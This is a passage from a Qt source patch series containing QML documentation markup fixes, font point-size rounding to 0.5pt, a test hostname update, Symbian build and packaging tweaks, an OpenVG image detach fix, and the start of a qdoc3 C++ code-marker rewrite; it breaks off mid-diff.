tree, except that the second has the default property flag set on the text property. Observe that whether @@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e0c6e1a..e602781 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1872,14 +1872,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE } /*! -\qmlmethod color Qt::tint(color baseColor, color tintColor) + \qmlmethod color Qt::tint(color baseColor, color tintColor) This function allows tinting one color with another. - The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + The tint color should usually be mostly transparent, or you will not be + able to see the underlying color. The below example provides a slight red + tint by having the tint color be pure red which is only 1/16th opaque. \qml - Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } - Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + Item { + Rectangle { + x: 0; width: 80; height: 80 + color: "lightsteelblue" + } + Rectangle { + x: 100; width: 80; height: 80 + color: Qt.tint("lightsteelblue", "#10FF0000") + } + } \endqml \image declarative-rect_tint.png diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index ac13c68..6283f92 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -544,12 +544,7 @@ void QDeclarativeWorkerScriptEngine::run() The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: - \qml - WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) - } - \endqml + \quotefile doc/src/snippets/declarative/script.js When the user clicks anywhere within the rectangle, \c sendMessage() is called, triggering the \tt WorkerScript.onMessage() handler in diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f22b9dd..e5905c4 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { NumberAnimation { from: "#c0c0c0"; duration: 2000 } @@ -725,7 +727,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) /*! \qmlclass ScriptAction QDeclarativeScriptAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. @@ -734,31 +736,20 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \qml SequentialAnimation { - NumberAnimation { ... } + NumberAnimation { + // ... + } ScriptAction { script: doSomething(); } - NumberAnimation { ... } + NumberAnimation { + // ... + } } \endqml When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. - \qml - State { - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - } - ... - Transition { - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition \sa StateChangeScript */ @@ -870,7 +861,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() /*! \qmlclass PropertyAction QDeclarativePropertyAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The PropertyAction element allows immediate property changes during animation. @@ -896,7 +887,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() However, with this code, the \c transformOrigin is not set until \e after the animation, as a \l State is taken to define the values at the \e end of a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges + then jump to \c Item.BottomRight. To fix this, insert a PropertyAction before the RotationAnimation begins: \qml @@ -910,7 +901,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() This immediately sets the \c transformOrigin property to the value defined in the end state of the \l Transition (i.e. the value defined in the - PropertyChanges object) so that the rotation animation begins with the + PropertyAction object) so that the rotation animation begins with the correct transform origin. \sa {QML Animation}, QtDeclarative @@ -1421,7 +1412,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { RotationAnimation { properties: "angle"; from: 100; duration: 2000 } @@ -2253,7 +2246,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) width: 100; height: 100 color: Qt.rgba(0,0,1) //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 } + NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } MouseArea { anchors.fill: parent onClicked: theAnim.start() @@ -2555,7 +2548,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) ParentAnimation { target: myItem via: topLevelItem - ... + // ... } \endqml */ diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index bb1a0b8..c41d39a 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const \snippet doc/src/snippets/declarative/state-when.qml 0 - If multiple states in a group have \c when clauses that evaluate to \c true at the same time, - the first matching state will be applied. For example, in the following snippet - \c state1 will always be selected rather than \c state2 when sharedCondition becomes - \c true. + If multiple states in a group have \c when clauses that evaluate to \c true + at the same time, the first matching state will be applied. For example, in + the following snippet \c state1 will always be selected rather than + \c state2 when sharedCondition becomes \c true. \qml - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] + Item { + states: [ + State { name: "state1"; when: sharedCondition }, + State { name: "state2"; when: sharedCondition } + ] + // ... + } \endqml */ QDeclarativeBinding *QDeclarativeState::when() const diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index e533a07..063ec3e 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE To define multiple transitions, specify \l Item::transitions as a list: - \qml - Item { - ... - transitions: [ - Transition { to: "state1" ... }, - Transition { ... } - ] - } - \endqml + \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, when changing to \c state1, the first transition will be used, rather @@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act If the transition was changed to this: - \qml - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release). @@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t) This property holds a list of the animations to be run for this transition. - \qml - Transition { - PropertyAnimation { ... } - NumberAnimation { ... } - } - \endqml + \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions The top-level animations are run in parallel. To run them sequentially, define them within a SequentialAnimation: - \qml - Transition { - SequentialAnimation { - PropertyAnimation { ... } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations */ QDeclarativeListProperty QDeclarativeTransition::animations() { diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp index ba3adc5..1b6e723 100644 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ b/src/imports/gestures/qdeclarativegesturearea.cpp @@ -86,22 +86,22 @@ public: A GestureArea is like a MouseArea, but it has signals for gesture events. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} + \warning Elements in the Qt.labs module are not guaranteed to remain compatible + in future versions. - \e {This element is only functional on devices with touch input.} + \note This element is only functional on devices with touch input. \qml import Qt.labs.gestures 1.0 GestureArea { anchors.fill: parent - onPan: ... gesture.acceleration ... - onPinch: ... gesture.rotationAngle ... - onSwipe: ... - onTapAndHold: ... - onTap: ... - onGesture: ... + // onPan: ... gesture.acceleration ... + // onPinch: ... gesture.rotationAngle ... + // onSwipe: ... + // onTapAndHold: ... + // onTap: ... + // onGesture: ... } \endqml -- cgit v0.12 From f111e97adf93a933351eb5658b33a5820097757a Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 18 Jan 2011 10:59:34 +1000 Subject: Request font sizes with only 0.5pt resolution. When animating pointSize avoid generating a huge number of fonts with slightly different point sizes. Task-number: QTBUG-13960 Reviewed-by: Aaron Kennedy --- src/declarative/graphicsitems/qdeclarativetext.cpp | 17 ++++++++++--- .../graphicsitems/qdeclarativetext_p_p.h | 1 + .../graphicsitems/qdeclarativetextedit.cpp | 29 ++++++++++++++++------ .../graphicsitems/qdeclarativetextedit_p_p.h | 1 + .../graphicsitems/qdeclarativetextinput.cpp | 25 +++++++++++++------ .../graphicsitems/qdeclarativetextinput_p_p.h | 1 + 6 files changed, 54 insertions(+), 20 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 2f3c8e5..640965c 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -736,19 +736,28 @@ QDeclarativeText::~QDeclarativeText() QFont QDeclarativeText::font() const { Q_D(const QDeclarativeText); - return d->font; + return d->sourceFont; } void QDeclarativeText::setFont(const QFont &font) { Q_D(QDeclarativeText); - if (d->font == font) + if (d->sourceFont == font) return; + d->sourceFont = font; + QFont oldFont = d->font; d->font = font; - d->updateLayout(); + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } + + if (oldFont != d->font) + d->updateLayout(); - emit fontChanged(d->font); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h index 67f2289..e749bc9 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h @@ -79,6 +79,7 @@ public: QString text; QFont font; + QFont sourceFont; QColor color; QDeclarativeText::TextStyle style; QColor styleColor; diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..42f66c3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -326,22 +326,35 @@ void QDeclarativeTextEdit::setTextFormat(TextFormat format) QFont QDeclarativeTextEdit::font() const { Q_D(const QDeclarativeTextEdit); - return d->font; + return d->sourceFont; } void QDeclarativeTextEdit::setFont(const QFont &font) { Q_D(QDeclarativeTextEdit); + if (d->sourceFont == font) + return; + + d->sourceFont = font; + QFont oldFont = d->font; d->font = font; + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } - clearCache(); - d->document->setDefaultFont(d->font); - if(d->cursor){ - d->cursor->setHeight(QFontMetrics(d->font).height()); - moveCursorDelegate(); + if (oldFont != d->font) { + clearCache(); + d->document->setDefaultFont(d->font); + if(d->cursor){ + d->cursor->setHeight(QFontMetrics(d->font).height()); + moveCursorDelegate(); + } + updateSize(); + update(); } - updateSize(); - update(); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 68a9cc8..3a45541 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -92,6 +92,7 @@ public: QString text; QFont font; + QFont sourceFont; QColor color; QColor selectionColor; QColor selectedTextColor; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 57a2177..ef3404f 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -213,24 +213,33 @@ void QDeclarativeTextInput::setText(const QString &s) QFont QDeclarativeTextInput::font() const { Q_D(const QDeclarativeTextInput); - return d->font; + return d->sourceFont; } void QDeclarativeTextInput::setFont(const QFont &font) { Q_D(QDeclarativeTextInput); - if (d->font == font) + if (d->sourceFont == font) return; + d->sourceFont = font; + QFont oldFont = d->font; d->font = font; + if (d->font.pointSizeF() != -1) { + // 0.5pt resolution + qreal size = qRound(d->font.pointSizeF()*2.0); + d->font.setPointSizeF(size/2.0); + } - d->control->setFont(d->font); - if(d->cursorItem){ - d->cursorItem->setHeight(QFontMetrics(d->font).height()); - moveCursor(); + if (oldFont != d->font) { + d->control->setFont(d->font); + if(d->cursorItem){ + d->cursorItem->setHeight(QFontMetrics(d->font).height()); + moveCursor(); + } + updateSize(); } - updateSize(); - emit fontChanged(d->font); + emit fontChanged(d->sourceFont); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h index 18e9c81..16827b3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h @@ -107,6 +107,7 @@ public: QLineControl* control; QFont font; + QFont sourceFont; QColor color; QColor selectionColor; QColor selectedTextColor; -- cgit v0.12 From d5b5a1ef99dbe20ee9cb3833fb5095c2071c8b12 Mon Sep 17 00:00:00 2001 From: Rohan McGovern Date: Tue, 18 Jan 2011 11:38:55 +1000 Subject: tst_qhttp: replace legacy qt-test-server hostname in testdata. --- tests/auto/qhttp/tst_qhttp.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/qhttp/tst_qhttp.cpp b/tests/auto/qhttp/tst_qhttp.cpp index f706228..61123c2 100644 --- a/tests/auto/qhttp/tst_qhttp.cpp +++ b/tests/auto/qhttp/tst_qhttp.cpp @@ -856,7 +856,7 @@ void tst_QHttp::proxy2() QTestEventLoop::instance().enterLoop(30); QVERIFY(!QTestEventLoop::instance().timeout()); - QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2); + QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2); readyRead_ba.clear(); } @@ -891,7 +891,7 @@ void tst_QHttp::proxy3() QTestEventLoop::instance().enterLoop(30); QVERIFY(!QTestEventLoop::instance().timeout()); - QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2); + QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2); readyRead_ba.clear(); } -- cgit v0.12 From c756d5cffdc31228b9ab9388c307bf4eb705b923 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Tue, 18 Jan 2011 11:44:29 +0200 Subject: Remove toolcheck from generic clean targets for symbian-sbsv2 Toolcheck can cause generic clean fail (i.e. "make clean" or "make debug-clean") for e.g. environments where Carbide command line tools have not been installed, because sbsv2 toolchain does a check for all tools related to target platforms, even though they are not needed for actual cleaning. Task-number: QTBUG-16691 Reviewed-by: Janne Koskinen --- qmake/generators/symbian/symmake_sbsv2.cpp | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp index f6f2e78..47c5b31 100644 --- a/qmake/generators/symbian/symmake_sbsv2.cpp +++ b/qmake/generators/symbian/symmake_sbsv2.cpp @@ -386,7 +386,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo } t << endl; t << "clean-debug: " << BLD_INF_FILENAME << endl; - t << "\t$(SBS) reallyclean"; + t << "\t$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, debugClauses) { t << clause; } @@ -406,7 +406,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo } t << endl; t << "clean-release: " << BLD_INF_FILENAME << endl; - t << "\t$(SBS) reallyclean"; + t << "\t$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, releaseClauses) { t << clause; } @@ -516,8 +516,10 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo generateDistcleanTargets(t); + // Do not check for tools when doing generic clean, as most tools are not actually needed for + // cleaning. Mainly this is relevant for environments that do not have winscw compiler. t << "clean: " << BLD_INF_FILENAME << endl; - t << "\t-$(SBS) reallyclean"; + t << "\t-$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, allClauses) { t << clause; } -- cgit v0.12 From b928bab9dde43cf3acace6dfae0ae6a4f6649650 Mon Sep 17 00:00:00 2001 From: Jani Hautakangas Date: Tue, 18 Jan 2011 10:59:34 +0200 Subject: Fix to data detaching in OpenVG pixmap data QImage::converToFormat(format) won't detach QImage if format stays the same. Because of this, internal QImage buffer of QVGPixmapData was not deep copied. Drawing to QPixmap target modified the original QImage that was used to create QPixmap and in some cases crashed because paint engine referred to wrong target. Task-number: QT-4407 Reviewed-by: Jason Barron --- src/openvg/qpixmapdata_vg.cpp | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index e4b1d02..732b484 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -200,6 +200,9 @@ bool QVGPixmapData::fromData(const uchar *buffer, uint len, const char *format, return !isNull(); } +/*! + out-of-place conversion (inPlace == false) will always detach() + */ void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace) { if (image.size() == QSize(w, h)) @@ -216,11 +219,16 @@ void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags else format = image.hasAlphaChannel() ? sourceFormat() : QImage::Format_RGB32; - if (inPlace && image.data_ptr()->convertInPlace(format, flags)) + if (inPlace && image.data_ptr()->convertInPlace(format, flags)) { source = image; - else + } else { source = image.convertToFormat(format); + // convertToFormat won't detach the image if format stays the same. + if (image.format() == format) + source.detach(); + } + recreate = true; } -- cgit v0.12 From f25ede3df41ddcd947b313b6c5fc597172f73c04 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 15:30:26 +0100 Subject: Removed unnecessary markup escaping code. There should be no need to escape markup at this point in the marker. --- tools/qdoc3/qmlcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index fc91cbb..e0ba0e1 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -175,7 +175,7 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) ++inc; } Location location; - return protect(addMarkUp(code, 0, location)); + return addMarkUp(code, 0, location); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) -- cgit v0.12 From 3fc81fe9bff2b35efd04955ae2ce5399ae1a91f0 Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 5 Oct 2010 13:36:49 +0200 Subject: Added detection of bat files to the qtPrepareTool function. Not all tools end with .exe. Some also end in .bat. RevBy: Oswald Buddenhagen --- mkspecs/features/qt_functions.prf | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/mkspecs/features/qt_functions.prf b/mkspecs/features/qt_functions.prf index 59d49c6..964e13b 100644 --- a/mkspecs/features/qt_functions.prf +++ b/mkspecs/features/qt_functions.prf @@ -94,6 +94,12 @@ defineTest(qtPrepareTool) { else:$$1 = $$[QT_INSTALL_BINS]/$$2 } $$1 ~= s,[/\\\\],$$QMAKE_DIR_SEP, - contains(QMAKE_HOST.os, Windows):!contains($$1, .*\\.exe$):$$1 = $$eval($$1).exe + contains(QMAKE_HOST.os, Windows):!contains($$1, .*\\.(exe|bat)$) { + exists($$eval($$1).bat) { + $$1 = $$eval($$1).bat + } else { + $$1 = $$eval($$1).exe + } + } export($$1) } -- cgit v0.12 From 2b464a49ab4e06908e8d3357466f3a9186f2f0ec Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Tue, 18 Jan 2011 16:37:02 +0200 Subject: Generate createpackage calls with absolute path. This ensures that the correct version of the script is always called. Task-number: QTBUG-16687 Reviewed-by: axis --- mkspecs/features/symbian/sis_targets.prf | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/mkspecs/features/symbian/sis_targets.prf b/mkspecs/features/symbian/sis_targets.prf index 024378b..f919e1d 100644 --- a/mkspecs/features/symbian/sis_targets.prf +++ b/mkspecs/features/symbian/sis_targets.prf @@ -23,6 +23,7 @@ equals(GENERATE_SIS_TARGETS, true) { stub_pkg_target.commands = $(MAKE) -f $(MAKEFILE) qmake QMAKE_EXTRA_TARGETS += template_pkg_target installer_pkg_target stub_pkg_target + qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage) symbian-abld|symbian-sbsv2 { symbian-sbsv2 { @@ -46,7 +47,7 @@ equals(GENERATE_SIS_TARGETS, true) { sis_target.depends += $${baseTarget}_template.pkg ok_sis_target.target = ok_sis - ok_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \ + ok_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \ $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) unsigned_sis_target.target = unsigned_sis @@ -63,7 +64,7 @@ equals(GENERATE_SIS_TARGETS, true) { unsigned_sis_target.depends += $${baseTarget}_template.pkg ok_unsigned_sis_target.target = ok_unsigned_sis - ok_unsigned_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET) + ok_unsigned_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET) target_sis_target.target = $${baseTarget}.sis target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis @@ -75,7 +76,7 @@ equals(GENERATE_SIS_TARGETS, true) { installer_sis_target.depends = $${baseTarget}_installer.pkg sis ok_installer_sis_target.target = ok_installer_sis - ok_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \ + ok_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \ $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) ok_installer_sis_target.depends = $${baseTarget}_installer.pkg @@ -84,7 +85,7 @@ equals(GENERATE_SIS_TARGETS, true) { unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg unsigned_sis ok_unsigned_installer_sis_target.target = ok_unsigned_installer_sis - ok_unsigned_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg + ok_unsigned_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg ok_unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg fail_sis_nocache_target.target = fail_sis_nocache @@ -104,7 +105,7 @@ equals(GENERATE_SIS_TARGETS, true) { stub_sis_target.depends += $${baseTarget}_stub.pkg ok_stub_sis_target.target = ok_stub_sis - ok_stub_sis_target.commands = createpackage -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \ + ok_stub_sis_target.commands = $$QMAKE_CREATEPACKAGE -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \ $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) QMAKE_EXTRA_TARGETS += sis_target \ @@ -142,8 +143,6 @@ equals(GENERATE_SIS_TARGETS, true) { QMAKE_EXTRA_TARGETS += store_build_target } } else { - qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage) - sis_destdir = $$DESTDIR isEmpty(sis_destdir):sis_destdir = . !equals(TARGET, "$$baseTarget"):sis_destdir = $$sis_destdir/$$dirname(TARGET) -- cgit v0.12 From 05a678de3f2e4fe67dc1f93a2dee18e197c0e1c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 16:40:42 +0100 Subject: Doc: Fixed inconsistent and incorrect terminology. Reviewed-by: Robin Burchell --- src/corelib/tools/qlocale.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index fcfa8f0..6515edb 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p) /*! Constructs a QLocale object with the specified \a name, which has the format - "language[_country][.codeset][@modifier]" or "C", where: + "language[_territory][.codeset][@modifier]" or "C", where: \list \i language is a lowercase, two-letter, ISO 639 language code, -- cgit v0.12 From f9d18bcf4d966c74c364dd569d5fddd262a2862c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:29:44 +0100 Subject: Replaced the C++ code marker with the one from Qt Quarterly. More changes still need to be made to restore features from the old marker, including markup for links to classes and functions. --- tools/qdoc3/cppcodemarker.cpp | 483 ++++++++++++++++++++---------------------- 1 file changed, 235 insertions(+), 248 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 8ea1c7f..2b7db62 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -51,29 +51,6 @@ QT_BEGIN_NAMESPACE -static int insertTagAround(QString &result, int pos, int len, const QString &tagName, - const QString &attributes = QString()) -{ - QString s; - //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20); - s += result.midRef(0, pos); - s += QLatin1Char('<'); - s += tagName; - if (!attributes.isEmpty()) { - s += QLatin1Char(' '); - s += attributes; - } - s += QLatin1Char('>'); - s += result.midRef(pos, len); - s += QLatin1String("'); - s += result.midRef(pos + len); - int diff = s.length() - result.length(); - result = s; - return diff; -} - /*! The constructor does nothing. */ @@ -159,7 +136,7 @@ QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, const Location &location) { - return addMarkUp(protect(code), relative, location); + return addMarkUp(code, relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -437,11 +414,11 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) QStringList::ConstIterator inc = includes.begin(); while (inc != includes.end()) { - code += "#include <<@headerfile>" + *inc + ">\n"; + code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } Location location; - return addMarkUp(code, 0, location); + return code; } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -867,240 +844,250 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, return 0; } -QString CppCodeMarker::addMarkUp(const QString& protectedCode, +static const char * const typeTable[] = { + "bool", "char", "double", "float", "int", "long", "short", + "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void", + "qlonglong", "qulonglong", + "qint", "qint8", "qint16", "qint32", "qint64", + "quint", "quint8", "quint16", "quint32", "quint64", + "qreal", "cond", 0 +}; + +static const char * const keywordTable[] = { + "and", "and_eq", "asm", "auto", "bitand", "bitor", "break", + "case", "catch", "class", "compl", "const", "const_cast", + "continue", "default", "delete", "do", "dynamic_cast", "else", + "enum", "explicit", "export", "extern", "false", "for", "friend", + "goto", "if", "include", "inline", "monitor", "mutable", "namespace", + "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected", + "public", "register", "reinterpret_cast", "return", "sizeof", + "static", "static_cast", "struct", "switch", "template", "this", + "throw", "true", "try", "typedef", "typeid", "typename", "union", + "using", "virtual", "volatile", "wchar_t", "while", "xor", + "xor_eq", "synchronized", + // Qt specific + "signals", "slots", "emit", 0 +}; + +static QString untabified(const QString &in) +{ + QString res; + int col = 0; + int i = 0; + + for (; i < (int) in.length(); i++) { + if (in[i] == QChar('\t')) { + res += QString(" " + (col & 0x7)); + col = (col + 8) & ~0x7; + } else { + res += in[i]; + if (in[i] == QChar('\n')) + col = 0; + } + } + + return res; +} + +/* + @char + @class + @comment + @function + @keyword + @number + @op + @preprocessor + @string + @type +*/ + +QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, const Location & /* location */) { - static QRegExp globalInclude("#include +<([^<>&]+)>"); - static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" - "(?:<[^;{}]+>)?(?: *(?:\\*|&) *| +)" - "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]"); - static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)"); - static QRegExp 